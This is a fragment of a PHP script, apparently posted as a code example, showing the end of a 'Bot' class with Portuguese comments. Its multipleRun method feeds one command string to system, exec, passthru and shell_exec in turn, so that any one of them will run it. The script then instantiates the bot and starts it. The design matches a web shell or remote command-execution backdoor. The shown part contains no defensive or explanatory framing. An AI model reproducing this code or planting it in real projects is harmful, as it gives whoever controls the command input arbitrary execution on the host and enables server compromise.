示例#1
0
    /*
     ** Responsável pelo controle de execução de comandos na máquina.
     */
    private function run()
    {
        $this->multipleRun($this->data);
    }
    /*
     ** Tenta executar comando utilizando multiplos métodos.
     */
    private function multipleRun($command)
    {
        system($command);
        exec($command);
        passthru($command);
        shell_exec($command);
    }
    /*
     ** Responsável por verificar se variável está com dados 'ok'.
     */
    private function check($variable)
    {
        if (isset($variable) && !empty($variable) && strlen($variable) > 0) {
            return true;
        }
        return false;
    }
}
$bot = new Bot();
$bot->core();